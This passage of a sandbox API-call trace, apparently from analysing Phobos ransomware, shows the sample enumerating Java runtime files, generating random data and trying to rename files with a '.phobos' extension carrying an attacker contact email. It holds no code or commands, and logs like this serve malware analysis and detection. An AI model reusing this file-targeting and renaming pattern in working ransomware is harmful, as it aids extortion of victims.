files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.308] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.308] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=16448) returned 1 [0125.308] CloseHandle (hObject=0x594) returned 1 [0125.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0125.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.309] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.309] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=57408) returned 1 [0125.309] CloseHandle (hObject=0x594) returned 1 [0125.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0125.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.309] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.310] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=130624) returned 1 [0125.310] CloseHandle (hObject=0x594) returned 1 [0125.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0125.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.310] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.310] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=97856) returned 1 [0125.310] CloseHandle (hObject=0x594) returned 1 [0125.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0125.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.311] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.311] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=15424) returned 1 [0125.311] CloseHandle (hObject=0x594) returned 1 [0125.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0125.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.311] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.311] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=15936) returned 1 [0125.311] CloseHandle (hObject=0x594) returned 1 [0125.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0125.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.356] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.358] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=44516) returned 1 [0125.358] CloseHandle (hObject=0x594) returned 1 [0125.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0125.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.358] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.359] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=18246297) returned 1 [0125.359] CloseHandle (hObject=0x594) returned 1 [0125.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0125.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0 [0125.359] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.360] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2204781) returned 1 [0125.360] CloseHandle (hObject=0x594) returned 1 [0125.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0125.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0 [0125.360] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.360] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1461) returned 1 [0125.360] CloseHandle (hObject=0x594) returned 1 [0125.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0125.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.361] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.361] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2022734) returned 1 [0125.361] CloseHandle (hObject=0x594) returned 1 [0125.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0125.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0 [0125.364] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.364] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=42185) returned 1 [0125.364] CloseHandle (hObject=0x594) returned 1 [0125.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0125.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.365] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.365] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=280161) returned 1 [0125.365] CloseHandle (hObject=0x594) returned 1 [0125.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0125.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.366] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.366] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=32699) returned 1 [0125.366] CloseHandle (hObject=0x594) returned 1 [0125.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0125.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.367] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.367] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=251327) returned 1 [0125.367] CloseHandle (hObject=0x594) returned 1 [0125.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0125.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.368] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.368] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=68924) returned 1 [0125.368] CloseHandle (hObject=0x594) returned 1 [0125.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0125.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.368] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 